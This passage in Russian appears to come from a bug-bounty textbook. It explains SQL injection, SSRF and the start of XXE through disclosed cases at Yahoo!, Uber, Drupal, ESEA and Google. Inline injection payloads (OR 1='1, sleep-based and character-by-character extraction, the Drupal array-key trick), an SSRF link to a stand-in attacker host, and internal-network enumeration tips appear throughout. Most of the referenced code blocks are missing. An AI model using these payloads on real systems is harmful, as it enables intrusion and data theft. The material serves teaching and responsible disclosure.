Базы данных хранят сведения в записях и полях, содержащихся в наборе таблиц. Таблица содержит один или несколько столбцов, а её строка представляет запись базы данных.

Пользователи создают, читают, обновляют и удаляют записи с помощью SQL. Пользователь отправляет базе команды SQL, называемые выражениями или запросами, и, если они приняты, база интерпретирует их и выполняет действие. К популярным базам SQL относятся MySQL, PostgreSQL, MSSQL и другие. В этой главе используется MySQL, но общие понятия применимы ко всем базам SQL.

Выражения SQL состоят из ключевых слов и функций. Например, следующее выражение велит базе выбрать сведения из столбца name таблицы users у записей, где столбец ID равен 1:

Многие веб-сайты хранят сведения в базах и динамически создают на их основе содержимое. Например, если сайт https://www.<example>.com/ хранил предыдущие заказы в базе данных, доступной после входа в учётную запись, браузер отправлял бы запрос базе сайта и создавал HTML по возвращённым сведениям.

Ниже приведён теоретический пример серверного кода PHP, создающего команду MySQL после посещения пользователем https://www.<example>.com?name=peter:

Код обращается через $_GET[] к значению name из указанных в квадратных скобках параметров URL и сохраняет его в $name. Затем параметр без очистки передаётся переменной $query. Она представляет выполняемый запрос и получает все данные из таблицы users, где столбец name совпадает со значением параметра URL name. Запрос выполняется передачей $query функции PHP mysql_query.

Сайт ожидает, что name содержит обычный текст. Но если пользователь введёт в параметр URL вредоносное значение test' OR 1='1, например https://www.example.com?name=test' OR 1='1, выполнится запрос:

Вредоносный ввод закрывает открывающую одинарную кавычку после test и добавляет в конец запроса SQL-код OR 1='1. Висячая кавычка в OR 1='1 открывает жёстко заданную закрывающую кавычку. Если бы внедрённый запрос не содержал открывающей одинарной кавычки, висячая кавычка вызвала бы синтаксическую ошибку SQL и помешала выполнению.

SQL использует условные операторы AND и OR. Здесь SQLi изменяет предложение WHERE, заставляя искать записи, где столбец name совпадает с test либо уравнение 1='1' истинно. MySQL любезно воспринимает '1' как целое число, а поскольку 1 всегда равно 1, условие истинно и запрос возвращает все записи таблицы users. Но инъекция test' OR 1='1 не сработает, если другие части запроса очищаются. Например, возможен такой запрос:

Параметр password также управляется пользователем, но правильно очищается. Если использовать прежнюю нагрузку test' OR 1='1 как имя, а паролем будет 12345, выражение станет таким:

Запрос ищет все записи, где имя равно test или где 1='1' и пароль равен 12345. Мы проигнорируем тот факт, что база хранит пароли открытым текстом, поскольку это отдельная уязвимость. Из-за оператора AND проверка пароля не позволит запросу вернуть данные, если пароль записи не равен 12345. Это ломает попытку SQLi, но не мешает применить другой способ атаки.

Нужно исключить параметр пароля, добавив ;--: test' OR 1='1;--. Инъекция решает две задачи: точка с запятой завершает выражение SQL, а два дефиса -- сообщают базе, что остальной текст является комментарием. Внедрённый параметр изменяет запрос на SELECT * FROM users WHERE name = 'test' OR 1='1';. Код AND password = '12345' становится комментарием, и команда возвращает все записи таблицы. Используя -- для комментария, помните: MySQL требует пробел после дефисов перед остальной частью запроса, иначе вернёт ошибку и не выполнит команду.

Один из способов защиты от SQLi - подготовленные выражения, функция базы данных для выполнения повторяющихся запросов. Подробности выходят за рамки книги, но такие выражения защищают от SQLi, поскольку запросы больше не выполняются динамически. База использует их как шаблоны с местозаполнителями переменных. Поэтому даже если пользователь передаст запросу неочищенные данные, инъекция не сможет изменить шаблон запроса базы, что предотвращает SQLi.

Сложность: средняя

URL: sports.yahoo.com

Источник: неприменимо

Дата сообщения: 16 февраля 2014 года

Выплаченное вознаграждение: 3705 долларов

Слепая SQLi возникает, когда можно внедрять выражения SQL в запрос, но нельзя получить непосредственный вывод запроса. Ключ к эксплуатации - выводить сведения из сравнения результатов неизменённых и изменённых запросов. Например, в феврале 2014 года Стефано Ветторатци нашёл слепую SQLi при проверке спортивного поддомена Yahoo!. Страница принимала параметры через URL, запрашивала сведения в базе данных и возвращала перечень игроков NFL согласно параметрам.

Ветторатци изменил следующий URL, возвращавший игроков NFL за 2010 год:

на такой:

Ветторатци добавил два дефиса -- к параметру year во втором URL. На рисунке 9-1 показана страница Yahoo! до добавления дефисов, а на рисунке 9-2 - результат после их добавления.

Игроки на рисунке 9-1 отличаются от игроков на рисунке 9-2. Настоящий запрос не виден, поскольку код находится во внутренней части сайта. Но первоначальный запрос, скорее всего, передавал каждый параметр URL выражению SQL следующего вида:

После добавления двух дефисов к year запрос принял бы следующий вид:

Рисунок 9-1. Результаты поиска игроков Yahoo! с неизменённым параметром year.

Рисунок 9-2. Результаты поиска игроков Yahoo! с изменённым параметром year, включающим --.

Эта ошибка Yahoo! несколько необычна, поскольку в большинстве, если не во всех, базах данных запросы должны завершаться точкой с запятой. Так как Ветторатци внедрил только два дефиса и закомментировал точку с запятой запроса, этот запрос должен был завершиться неудачно и либо вернуть ошибку, либо не вернуть записей. Некоторые базы данных допускают запросы без точки с запятой, поэтому Yahoo! либо использовала такую возможность, либо её код каким-то иным образом обрабатывал ошибку. Как бы то ни было, заметив различие возвращаемых запросами результатов, Ветторатци попытался определить версию базы данных сайта, передав в параметре year следующий код:

Функция базы данных MySQL version() возвращает текущую версию используемой базы MySQL. Функция mid возвращает часть строки, переданной в первом параметре, согласно второму и третьему параметрам. Второй аргумент задаёт начальную позицию возвращаемой подстроки, а третий - длину подстроки. Ветторатци проверил, использует ли сайт MySQL, вызвав version(). Затем он попытался получить первую цифру номера версии, передав функции mid значение 1 как первый аргумент начальной позиции и 1 как второй аргумент длины подстроки. Код проверяет первую цифру версии MySQL при помощи выражения if.

Выражение if принимает три аргумента: логическую проверку, действие при истинном результате проверки и действие при ложном результате. Здесь код проверяет, равна ли первая цифра из version числу 5; если да, запрос возвращает true. Иначе запрос возвращает false.

Затем Ветторатци связал результат true/false с параметром year оператором and, поэтому, если старшая версия базы MySQL была равна 5, веб-страница Yahoo! возвращала игроков за 2010 год. Запрос работает так, потому что условие 2010 and true истинно, тогда как 2010 and false ложно и не возвращает записей. Ветторатци выполнил запрос и не получил записей, как показано на рисунке 9-3. Значит, первая цифра значения, возвращённого version, не была равна 5.

Рисунок 9-3. Результаты поиска игроков Yahoo! были пусты, когда код проверял, начинается ли версия базы данных с цифры 5.

Эта ошибка относится к слепой SQLi, поскольку Ветторатци не мог внедрить запрос и увидеть его вывод непосредственно на странице. Но он всё же мог находить сведения о сайте. Вставляя логические проверки, например выражение if, проверяющее версию, Ветторатци мог логически вывести нужные ему сведения. Он мог бы продолжить извлекать сведения из базы данных Yahoo!. Но полученных тестовым запросом сведений о версии MySQL оказалось достаточно, чтобы подтвердить Yahoo! существование уязвимости.

Уязвимости SQLi, как и другие уязвимости, связанные с инъекциями, не всегда трудно эксплуатировать. Один из способов найти SQLi - проверять параметры URL и искать незначительные изменения результатов запросов. Здесь добавление двух дефисов изменило результаты исходного запроса Ветторатци и раскрыло SQLi.

Сложность: средняя

URL: sctrack.email.uber.com.cn

Источник: hackerone.com

Дата сообщения: 8 июля 2016 года

Выплаченное вознаграждение: 4000 долларов

Помимо веб-страниц, уязвимости слепой SQLi можно находить и в других местах, например в ссылках электронной почты. В июле 2016 года Оранж Цай получил рекламное письмо от Uber. Он заметил, что ссылка для отказа от рассылки содержала в параметре URL строку, закодированную в base64. Ссылка выглядела так:

Декодирование значения параметра p eyJ1c2VyX2lkIjogIjU3NTUiLCAicmVjZWl2ZXIiOiAib3JhbmdlQG15bWFpbCJ9 из base64 возвращает строку JSON {"user_id": "5755", "receiver": "orange@mymail"}. К декодированной строке Оранж добавил код and sleep(12) = 1 в закодированном параметре URL p. Это безвредное дополнение заставляет базу данных дольше отвечать на действие отказа от рассылки: {"user_id": "5755 and sleep(12)=1", "receiver": "orange@mymail"}. Если сайт уязвим, при выполнении запроса вычисляется sleep(12), и в течение 12 секунд ничего не происходит, прежде чем вывод команды sleep сравнивается с 1. В MySQL команда sleep обычно возвращает 0, поэтому сравнение будет ложным. Но это не имеет значения, поскольку выполнение займёт не менее 12 секунд.

Повторно закодировав изменённую нагрузку и передав её параметру URL, Оранж перешёл по ссылке отказа от рассылки и подтвердил, что ответ HTTP занял не менее 12 секунд. Поняв, что для отправки Uber ему нужно более убедительное доказательство SQLi, он перебором получил имя пользователя, имя узла и имя базы данных. Тем самым он показал, что может извлекать сведения через уязвимость SQLi, не обращаясь к конфиденциальным данным.

Функция SQL user возвращает имя пользователя и имя узла базы данных в форме <user>@<host>. Поскольку Оранж не мог обратиться к выводу своих внедрённых запросов, он не мог просто вызвать user. Вместо этого Оранж изменил запрос, добавив условную проверку при поиске своего идентификатора пользователя и сравнивая по одному символу строки имени пользователя и узла базы данных при помощи функции mid. Как и со слепой SQLi Yahoo! Sports из предыдущего отчёта об ошибке, Оранж использовал выражение сравнения и перебор, чтобы вывести каждый символ строки имени пользователя и узла.

Например, Оранж брал первый символ значения, возвращаемого функцией user, при помощи функции mid. Затем он проверял, равен ли символ 'a', потом 'b', затем 'c' и так далее. Если выражение сравнения было истинным, сервер выполнял команду отказа от рассылки. Такой результат показывал, что первый символ возвращаемого функцией user значения совпадал с символом, с которым его сравнивали. Если выражение было ложным, сервер не пытался отписать Оранжа. Проверяя таким способом каждый символ значения, возвращаемого функцией user, Оранж в итоге мог вывести полные имя пользователя и имя узла.

Ручной перебор строки занимает время, поэтому Оранж создал сценарий Python, который формировал и отправлял нагрузки Uber от его имени:

Сценарий Python начинается с пяти строк выражений import, которые получают библиотеки, необходимые Оранжу для обработки запросов HTTP, JSON и кодировок строк.

Имя пользователя и имя узла базы данных могут состоять из любой комбинации прописных букв, строчных букв, цифр, дефисов (-), знаков подчёркивания (_), знаков @ и точек (.). Оранж создаёт переменную base для хранения этих символов. Затем код создаёт переменную для хранения нагрузки, которую сценарий отправляет серверу. Инъекция находится в строке payload['user_id'] и использует два цикла for.

Рассмотрим подробнее строку с инъекцией. Оранж обращается к своему идентификатору пользователя 5755 через строку user_id, определённую при создании переменной payload, чтобы формировать нагрузки. При помощи функции mid и обработки строк он строит нагрузку, подобную нагрузке для ошибки Yahoo! выше в этой главе. %d и %c в нагрузке - местозаполнители для подстановки в строку. %d представляет данные в виде цифры, а %c - символьные данные.

Строка нагрузки начинается с первой пары двойных кавычек (") и заканчивается второй парой двойных кавычек перед третьим знаком процента в строке инъекции. Третий знак процента сообщает Python, что местозаполнители %d и %c нужно заменить значениями, идущими после знака процента в круглых скобках. Поэтому код заменяет %d на l+1 (переменная l плюс число 1), а %c - на переменную i. Знак решётки (#) - ещё один способ создать комментарий в MySQL; он превращает в комментарий любую часть запроса, следующую за инъекцией Оранжа.

Переменные l и i являются итераторами циклов. Когда код впервые входит в l in range(0, 30), значение l равно 0. Значение l - это позиция в строке имени пользователя и узла, возвращаемой функцией user, которую сценарий пытается подобрать перебором. Получив проверяемую позицию в строке имени пользователя и узла, код входит во вложенный цикл, который перебирает каждый символ строки base. При первом проходе сценария через оба цикла l будет равно 0, а i - a. Эти значения передаются функции mid для создания нагрузки "5755 and mid(user(),0,1)='a'#".

На следующей итерации вложенного цикла for значение l по-прежнему будет равно 0, а i - b, что создаст нагрузку "5755 and mid(user(),0,1)='b'#". Позиция l остаётся постоянной, пока цикл перебирает каждый символ в base, чтобы создать нагрузку.

При каждом создании новой нагрузки следующий код преобразует её в JSON, повторно кодирует строку функцией base64encode и отправляет запрос HTTP серверу. Условие if проверяет, отвечает ли сервер сообщением. Если символ в i совпадает с подстрокой имени пользователя в проверяемой позиции, сценарий прекращает проверять символы в этой позиции и переходит к следующей позиции строки пользователя. Вложенный цикл прерывается, и выполнение возвращается к внешнему циклу, который увеличивает l на 1 для проверки следующей позиции строки имени пользователя.

Эта демонстрация концепции позволила Оранжу подтвердить, что именем пользователя и узла базы данных было sendcloud_w@10.9.79.210, а именем базы данных - sendcloud (чтобы получить имя базы данных, в строке инъекции нужно заменить user на database). Отвечая на отчёт, Uber подтвердила, что SQLi произошла не на её сервере. Инъекция произошла на сервере сторонней организации, которым пользовалась Uber, но компания всё равно выплатила вознаграждение. Не все программы вознаграждения поступят так же. Вероятно, Uber заплатила, поскольку эксплойт позволял злоумышленнику выгрузить из базы данных sendcloud все адреса электронной почты клиентов Uber.

Хотя для выгрузки сведений о базе данных с уязвимого веб-сайта можно написать собственный сценарий, как это сделал Оранж, можно также применять автоматизированные инструменты. Приложение A содержит сведения об одном из таких инструментов - sqlmap.

Следите за запросами HTTP, принимающими закодированные параметры. После декодирования и внедрения запроса обязательно повторно закодируйте нагрузку, чтобы всё по-прежнему соответствовало кодировке, ожидаемой сервером.

Извлечение имени базы данных, имени пользователя и имени узла обычно безвредно, но обязательно убедитесь, что оно входит в перечень разрешённых действий программы вознаграждения, с которой вы работаете. В некоторых случаях для демонстрации концепции достаточно команды sleep.

Сложность: высокая

URL: любой сайт Drupal версии 7.32 или более ранней

Источник: hackerone.com

Дата сообщения: 17 октября 2014 года

Выплаченное вознаграждение: 3000 долларов

Drupal - популярная система управления содержимым с открытым исходным кодом для создания веб-сайтов, подобная Joomla! и WordPress. Она написана на PHP и имеет модульную архитектуру: на сайт Drupal можно устанавливать новую функциональность в виде отдельных модулей. Каждая установка Drupal содержит ядро Drupal - набор модулей, обеспечивающих работу платформы. Этим модулям ядра требуется подключение к базе данных, например MySQL.

В 2014 году Drupal выпустила срочное обновление безопасности ядра Drupal, поскольку все сайты Drupal были уязвимы для SQLi, которой легко могли злоупотребить анонимные пользователи. Эта уязвимость позволяла злоумышленнику захватить любой сайт Drupal без установленного исправления. Стефан Хорст обнаружил уязвимость, заметив ошибку в функциональности подготовленных выражений ядра Drupal.

Уязвимость Drupal находилась в интерфейсе прикладного программирования (API) базы данных Drupal. API Drupal использует расширение PHP Data Objects (PDO), представляющее собой интерфейс доступа к базам данных из PHP. Интерфейс - это концепция программирования, гарантирующая входы и выходы функции, но не определяющая способ её реализации. Иными словами, PDO скрывает различия между базами данных, чтобы программисты могли использовать одни и те же функции для запросов и получения данных независимо от типа базы. PDO поддерживает подготовленные выражения.

Drupal создала API базы данных, использующий функциональность PDO. Этот API создаёт в Drupal слой абстракции базы данных, поэтому разработчикам никогда не приходится обращаться к базе напрямую из собственного кода. При этом они по-прежнему могут использовать подготовленные выражения и один и тот же код с любым типом базы данных. Подробности API выходят за рамки книги. Но нужно знать, что API формирует выражения SQL для запросов к базе и имеет встроенные проверки безопасности, предотвращающие уязвимости SQLi.

Напомним: подготовленные выражения предотвращают SQLi, поскольку злоумышленник не может изменить структуру запроса вредоносным вводом, даже если ввод не очищен. Но подготовленные выражения не защищают от SQLi, если инъекция происходит при создании шаблона. Если злоумышленник может внедрить вредоносный ввод в процессе создания шаблона, он может создать собственное вредоносное подготовленное выражение. Обнаруженная Хорстом уязвимость возникала из-за предложения SQL IN, которое ищет значения, существующие в перечне значений. Например, код SELECT * FROM users WHERE name IN ('peter', 'paul', 'ringo'); выбирает данные из таблицы users, где значение столбца name равно peter, paul или ringo.

Чтобы понять, почему предложение IN уязвимо, рассмотрим код API Drupal:

Функция expandArguments отвечает за построение запросов, использующих предложение IN. Построив запросы, expandArguments передаёт их функции prepareQuery, которая строит подготовленные выражения, выполняемые функцией execute. Чтобы понять значение этого процесса, рассмотрим также относящийся к делу код expandArguments:

Этот код PHP использует массивы. PHP может использовать ассоциативные массивы, в которых ключи определяются явно:

Ключи этого массива - 'red' и 'yellow', а значения массива - фрукты справа от стрелки (=>).

Кроме того, PHP может использовать индексный массив:

Ключи индексного массива неявны и зависят от позиции значения в перечне. Например, ключ 'apple' равен 0, а ключ 'banana' - 1.

Функция PHP foreach перебирает массив и может отделять ключ массива от его значения. Она также может присвоить каждый ключ и каждое значение отдельной переменной и передать их блоку кода для обработки. В первом foreach каждое значение переданного массива проверяется на принадлежность к массиву вызовом array_filter($args, 'is_array'). После того как выражение подтвердит это, оно при каждой итерации цикла foreach присваивает каждый ключ массива переменной $key, а каждое значение - переменной $data. Код будет изменять значения массива, создавая местозаполнители, поэтому $new_keys = array(); инициализирует новый пустой массив, в котором позднее будут храниться значения местозаполнителей.

Чтобы создать местозаполнители, внутренний цикл перебирает массив $data, присваивая каждый ключ переменной $i, а каждое значение - переменной $value. Затем массив new_keys, инициализированный ранее, получает ключ первого массива, соединённый с ключом внутреннего цикла. Предполагаемый результат работы кода - создание местозаполнителей данных вида name_0, name_1 и так далее.

Вот как выглядит типичный запрос с функцией Drupal db_query, которая обращается к базе данных:

Функция db_query принимает два параметра: запрос, содержащий именованные местозаполнители переменных, и массив значений для подстановки вместо них. В этом примере местозаполнитель :name является массивом со значениями 'user1' и 'user2'. В индексном массиве ключ 'user1' равен 0, а ключ 'user2' - 1. Когда Drupal выполняет функцию db_query, она вызывает expandArguments, которая присоединяет ключи к каждому значению. Полученный запрос использует вместо ключей name_0 и name_1, как показано здесь:

Но проблема возникает при вызове db_query с ассоциативным массивом, как в следующем коде:

Здесь :name является массивом, а его ключи - 'test);--' и 'test'. Когда expandArguments получает массив :name и обрабатывает его для создания запроса, получается следующее:

Мы внедрили комментарий в подготовленное выражение. Это происходит потому, что expandArguments перебирает каждый элемент массива для построения местозаполнителей, но предполагает, что ей передали индексный массив. На первой итерации $i получает 'test);--', а $value - 'user1'. Значение $key равно ':name', и его объединение с $i даёт name_test);--. На второй итерации $i получает 'test', а $value - 'user2'. Объединение $key с $i даёт значение name_test.

Такое поведение позволяет злоумышленникам внедрять выражения SQL в запросы Drupal, использующие предложение IN. Уязвимость затрагивает функциональность входа в Drupal, что делает SQLi серьёзной: её мог эксплуатировать любой пользователь сайта, в том числе анонимный. Ситуацию усугубляет то, что PHP PDO по умолчанию поддерживает одновременное выполнение нескольких запросов. Это значит, что злоумышленник может добавить к запросу входа пользователя дополнительные запросы и таким образом выполнить команды SQL без предложения IN. Например, злоумышленник может использовать выражения INSERT, вставляющие записи в базу данных, чтобы создать пользователя с правами администратора, а затем войти под его именем на веб-сайт.

Эта уязвимость SQLi не сводилась к простой отправке одинарной кавычки и нарушению запроса. Она требовала понимания того, как API базы данных ядра Drupal обрабатывает предложение IN. Главный вывод из этой уязвимости - искать возможности изменить структуру ввода, передаваемого сайту. Если URL принимает параметр name, попробуйте добавить к параметру [], чтобы превратить его в массив, и проверьте, как сайт это обработает.

SQLi может быть серьёзной и опасной для сайта уязвимостью. Найдя SQLi, злоумышленник способен получить полные права на сайте. В некоторых ситуациях уязвимость SQLi можно развить, вставив в базу данных сведения, предоставляющие административные права на сайте, как в примере с Drupal. При поиске уязвимостей SQLi изучайте места, где запросу можно передать неэкранированные одинарные или двойные кавычки. Признаки найденной уязвимости могут быть малозаметными, как при слепых инъекциях. Также следует искать места, где данные можно передать сайту неожиданным способом, например подставить параметры-массивы в данные запроса, как в ошибке Uber.

В зависимости от устройства веб-сайта уязвимый для SSRF сервер может выполнять запрос HTTP к внутренней сети или к внешним адресам. Возможные способы использования SSRF определяются тем, какие запросы способен выполнять уязвимый сервер.

Убедившись, что можете отправить SSRF, выясните, какой метод HTTP - GET или POST - можно вызвать для эксплуатации сайта. Запросы HTTP POST могут иметь более серьёзные последствия, если злоумышленник способен управлять параметрами POST. Запросы POST часто вызывают действия, изменяющие состояние: создание учётных записей пользователей, запуск системных команд или выполнение произвольного кода - в зависимости от того, с какими другими приложениями может взаимодействовать уязвимый сервер. В свою очередь, запросы HTTP GET часто связаны с извлечением данных. Поскольку SSRF с запросами POST могут быть сложны и зависят от системы, в этой главе мы сосредоточимся на ошибках, использующих запросы GET. Подробнее об SSRF на основе запросов POST можно узнать из слайдов доклада Оранжа Цая на Black Hat 2017: blackhat.com.

Выяснив, куда и каким образом можно отправить запрос, определите, можете ли вы получить доступ к его ответу. Если ответ недоступен, вы нашли слепую SSRF. Например, злоумышленник может получить через SSRF доступ к внутренней сети, но не иметь возможности читать ответы HTTP на запросы к внутренним серверам. Тогда ему потребуется альтернативный способ извлечения сведений, обычно основанный на времени или системе доменных имён (DNS).

Если атаковать внутренние системы нельзя, можно вместо этого попытаться эксплуатировать SSRF, влияющие на пользователей или само приложение. Если SSRF не слепая, один из способов - возвращать на запрос SSRF вредоносные ответы, например нагрузки межсайтового выполнения сценариев (XSS) или SQL-инъекции (SQLi), которые выполнятся на уязвимом сайте. Сохранённые нагрузки XSS особенно значимы, если к ним регулярно обращаются другие пользователи, поскольку эти нагрузки можно использовать для атаки на пользователей. Например, предположим, что www.<example>.com/picture?url= принимает в параметре URL адрес изображения для профиля вашей учётной записи. Можно передать URL собственного сайта, возвращающего страницу HTML с нагрузкой XSS. Полный URL будет таким: www.<example>.com/picture?url=<attacker>.com/xss. Если www.<example>.com сохранит HTML нагрузки и отобразит его как изображение профиля, на сайте будет уязвимость сохранённой XSS. Но если сайт отобразит нагрузку HTML, не сохраняя её, всё равно можно проверить, предотвращает ли сайт CSRF для этого действия. Если нет, URL www.<example>.com/picture?url=<attacker>.com/xss можно передать цели. Когда цель перейдёт по ссылке, XSS сработает в результате SSRF и отправит запрос вашему сайту.

Сложность: средняя

URL: play.esea.net

Источник: buer.haus

Дата сообщения: 11 апреля 2016 года

Выплаченное вознаграждение: 1000 долларов В некоторых случаях SSRF можно эксплуатировать и продемонстрировать её влияние несколькими способами. E-Sports Entertainment Association (ESEA), сообщество соревновательных видеоигр, в 2016 году открыло собственную программу вознаграждения за ошибки. Сразу после запуска программы ESEA Бретт Буэрхаус применил доркинг Google для быстрого поиска URL, заканчивающихся расширением файла .php. Доркинг Google использует ключевые слова поиска Google, чтобы указать, где выполнять поиск и какие сведения искать. Буэрхаус использовал запрос site:https://play.esea.net/ ext:php, который предписывает Google возвращать результаты только для сайта play.esea.net, когда файл заканчивается на .php. В старых вариантах сайтов веб-страницы часто заканчиваются на .php, что может указывать на использование устаревшей функциональности и делает их хорошим местом для поиска уязвимостей. Выполнив поиск, Буэрхаус получил среди результатов URL play.esea.net.

Сложность: средняя

URL: toolbox.googleapps.com

Источник: rcesecurity.com

Дата сообщения: январь 2017 года

Выплаченное вознаграждение: не раскрыто

Иногда сайты должны выполнять запросы HTTP только к внешним сайтам. Обнаружив сайт с такой функциональностью, проверьте, нельзя ли злоупотребить ею для доступа к внутренним сетям.

Google предоставляет сайт toolbox.googleapps.com, чтобы помогать пользователям устранять проблемы со службами Google G Suite. Инструмент DNS этой службы привлёк внимание Юлиана Аренса (www.rcesecurity.com), поскольку позволял пользователям выполнять запросы HTTP.

Среди инструментов DNS Google есть dig, который работает точно так же, как команда Unix dig, и позволяет пользователям запрашивать у серверов доменных имён сведения DNS сайта. Сведения DNS сопоставляют IP-адрес читаемому домену, например www.<example>.com. На момент находки Аренса Google предоставляла два поля ввода: одно для URL, который нужно сопоставить IP-адресу, а другое для сервера доменных имён, как показано на рисунке 10-1.

Рисунок 10-1. Пример запроса к инструменту Google dig.

Особое внимание Аренса привлекло поле Name server, поскольку оно позволяет пользователям задавать IP-адрес, которому отправляется запрос DNS. Эта важная находка указывала, что пользователи могут посылать запросы DNS любому IP-адресу.

Некоторые IP-адреса зарезервированы для внутреннего использования. Их можно обнаружить внутренними запросами DNS, но они не должны быть доступны через интернет. К таким зарезервированным диапазонам IP относятся:

• от 10.0.0.0 до 10.255.255.255;

• от 100.64.0.0 до 100.127.255.255;

• от 127.0.0.0 до 127.255.255.255;

• от 172.16.0.0 до 172.31.255.255;

• от 192.0.0.0 до 192.0.0.255;

• от 198.18.0.0 до 198.19.255.255.

Кроме того, некоторые IP-адреса зарезервированы для определённых целей. Начиная проверку поля Name server, Аренс указал свой сайт как искомый сервер и IP-адрес 127.0.0.1 как Name server. IP-адрес 127.0.0.1 обычно называют localhost, и сервер использует его для обращения к самому себе. Здесь localhost - это сервер Google, выполняющий команду dig. Проверка Аренса привела к ошибке «Server did not respond» («Сервер не ответил»). Ошибка означает, что инструмент пытался подключиться к собственному порту 53 (порту, отвечающему на поиски DNS), чтобы получить сведения о сайте Аренса rcesecurity.com. Формулировка «не ответил» крайне важна, поскольку подразумевает, что сервер разрешает внутренние соединения; формулировка вроде «отказано в доступе» означала бы обратное. Этот тревожный признак побудил Аренса продолжить проверку.

Затем Аренс отправил запрос HTTP инструменту Burp Intruder, чтобы начать перечисление внутренних IP-адресов в диапазоне 10.x.x.x. Через пару минут он получил от одного внутреннего IP-адреса 10. (Аренс намеренно не раскрыл, какого именно) ответ с пустой записью A - разновидностью записи, возвращаемой серверами DNS. Хотя запись A была пустой, она относилась к веб-сайту Аренса:

Аренс нашёл сервер DNS с внутренним доступом, который отвечал ему. Внутренний сервер DNS обычно ничего не знает о внешних веб-сайтах, чем и объясняется пустая запись A. Но сервер должен знать, как сопоставлять внутренние адреса.

Чтобы продемонстрировать влияние уязвимости, Аренсу требовалось получить сведения о внутренней сети Google, поскольку они не должны быть общедоступны. Быстрый поиск Google показал, что Google использовала поддомен corp.google.com как основу для своих внутренних сайтов. Аренс начал подбирать поддомены corp.google.com перебором и в итоге обнаружил домен ad.corp.google.com. Передача этого поддомена инструменту dig и запрос записей A у найденного ранее внутреннего IP-адреса вернули закрытые сведения DNS Google, которые были далеко не пусты:

Обратите внимание на ссылки на внутренние IP-адреса 100.REDACTED и 172.REDACTED. Для сравнения, общедоступный поиск DNS для ad.corp.google.com возвращает следующую запись, в которой нет никаких сведений о закрытых IP-адресах, обнаруженных Аренсом:

Аренс также запросил через инструменты DNS Google серверы имён для ad.corp.google.com, получив следующее:

Кроме того, Аренс обнаружил, что по меньшей мере один внутренний домен был общедоступен из интернета: сервер Minecraft по адресу minecraft.corp.google.com.

Обращайте внимание на веб-сайты с функциональностью для выполнения внешних запросов HTTP. Найдя их, попробуйте направить запрос внутрь при помощи адреса закрытой сети 127.0.0.1 или диапазонов IP, перечисленных в примере. Если обнаружите внутренние сайты, попытайтесь обратиться к ним из внешнего источника, чтобы продемонстрировать большее влияние. Скорее всего, они предназначены только для внутреннего доступа.

Сложность: низкая

URL: неприменимо

Источник: неприменимо

Дата сообщения: октябрь 2017 года

Выплаченное вознаграждение: не раскрыто

SSRF возникают, когда злоумышленник может использовать сервер для выполнения непредусмотренных сетевых запросов. Но не все запросы допускают эксплуатацию. Например, сама возможность заставить сайт выполнить запрос к удалённому или локальному серверу ещё не означает, что она существенна. Обнаружение возможности выполнить непредусмотренный запрос - лишь первый шаг в выявлении таких ошибок. Главное при составлении отчёта - продемонстрировать полное влияние этого поведения. Во всех примерах этой главы сайты позволяли выполнять запросы HTTP. Но они недостаточно защищали собственную инфраструктуру от злоумышленников.

Эта уязвимость использует внешние сущности XML. XML - это метаязык, то есть язык для описания других языков. Он был разработан в ответ на недостатки HTML, способного определять лишь способ отображения данных. В отличие от него, XML определяет структуру данных.

Например, HTML может оформить текст как заголовок при помощи открывающего тега <h1> и закрывающего тега </h1>. (Для некоторых тегов закрывающий тег необязателен.) У каждого тега может быть заранее определённый стиль, применяемый браузером к тексту веб-сайта при отображении. Например, тег <h1> может оформлять все заголовки полужирным шрифтом размером 14 пикселей. Аналогично, тег <table> представляет данные в строках и столбцах, а теги <p> определяют вид обычных абзацев текста.

В отличие от HTML, у XML нет заранее определённых тегов. Вместо этого вы определяете теги самостоятельно, причём эти определения не обязательно будут включены в файл XML. Например, рассмотрим следующий файл XML с объявлением о вакансии:

Каждый элемент, используемый в документе XML, определяется в файле DTD ключевым словом !ELEMENT. Определение Jobs указывает, что он может содержать элемент Job. Звёздочка означает, что Jobs может содержать ноль или больше элементов Job. Элемент Job должен содержать Title, Compensation и Responsibility. Каждый из них также является элементом и может содержать только символьные данные, разбираемые как HTML, что обозначается (#PCDATA). Определение данных (#PCDATA) сообщает синтаксическому анализатору, символы какого типа будут заключены в каждом теге XML. Наконец, у Responsibility есть атрибут, объявленный при помощи !ATTLIST. Атрибут называется fundamental, а CDATA сообщает анализатору, что тег будет содержать только символьные данные, которые не следует разбирать. Значение Responsibility по умолчанию равно 0.

Внешние файлы DTD определяются в документе XML при помощи элемента <!DOCTYPE>:

Здесь мы определяем <!DOCTYPE> с сущностью XML note. Сущности XML объясняются в следующем разделе. Пока достаточно знать, что SYSTEM - ключевое слово, которое предписывает анализатору XML получить результаты файла jobs.dtd и использовать их везде, где впоследствии применяется note.

DTD также можно включить внутрь документа XML. Для этого первая строка XML тоже должна быть элементом <!DOCTYPE>. Если объединить файл XML и DTD при помощи внутреннего DTD, получится такой документ:

Здесь находится так называемое внутреннее объявление DTD. Обратите внимание: документ всё ещё начинается с заголовка объявления, указывающего, что он соответствует XML 1.0 с кодировкой UTF-8. Сразу после него мы определяем !DOCTYPE для последующего XML, но на этот раз записываем весь DTD, а не ссылку на внешний файл. Остальная часть документа XML следует за объявлением DTD.

Документы XML содержат сущности XML, подобные местозаполнителям сведений. Вернёмся к примеру <Jobs>: если бы мы хотели, чтобы каждая вакансия содержала ссылку на наш веб-сайт, записывать адрес всякий раз было бы утомительно, особенно если наш URL может измениться. Вместо этого можно использовать сущность, поручить анализатору получить URL во время разбора и вставить значение в документ. Чтобы создать сущность, в теге !ENTITY объявляют имя сущности-местозаполнителя и сведения, которые следует подставить на его место. В документе XML перед именем сущности ставится амперсанд (&), а после него - точка с запятой (;). При обращении к документу XML имя местозаполнителя заменяется значением, объявленным в теге. Имена сущностей способны не только заменять местозаполнители строками: при помощи тега SYSTEM и URL они могут также получать содержимое веб-сайта или файла. Мы можем дополнить свой файл XML следующим образом:

Обратите внимание: я добавил !ELEMENT Website, но вместо (#PCDATA) использовал ANY. Это определение данных означает, что тег Website может содержать любую комбинацию разбираемых данных. Я также определил !ENTITY с атрибутом SYSTEM, сообщающим анализатору, что нужно получать содержимое файла website.txt везде, где внутри тега website находится имя местозаполнителя url. Затем я использую тег website, и вместо &url; будет получено содержимое website.txt. Обратите внимание на & перед именем сущности. При любой ссылке на сущность в документе XML перед ней нужно ставить &.

При атаке XXE злоумышленник использует целевое приложение так, чтобы оно включало внешние сущности при разборе XML. Иными словами, приложение ожидает XML, но не проверяет полученные данные, а просто разбирает всё, что получает. Например, предположим, что доска вакансий из предыдущего примера позволяет регистрироваться и загружать вакансии через XML.

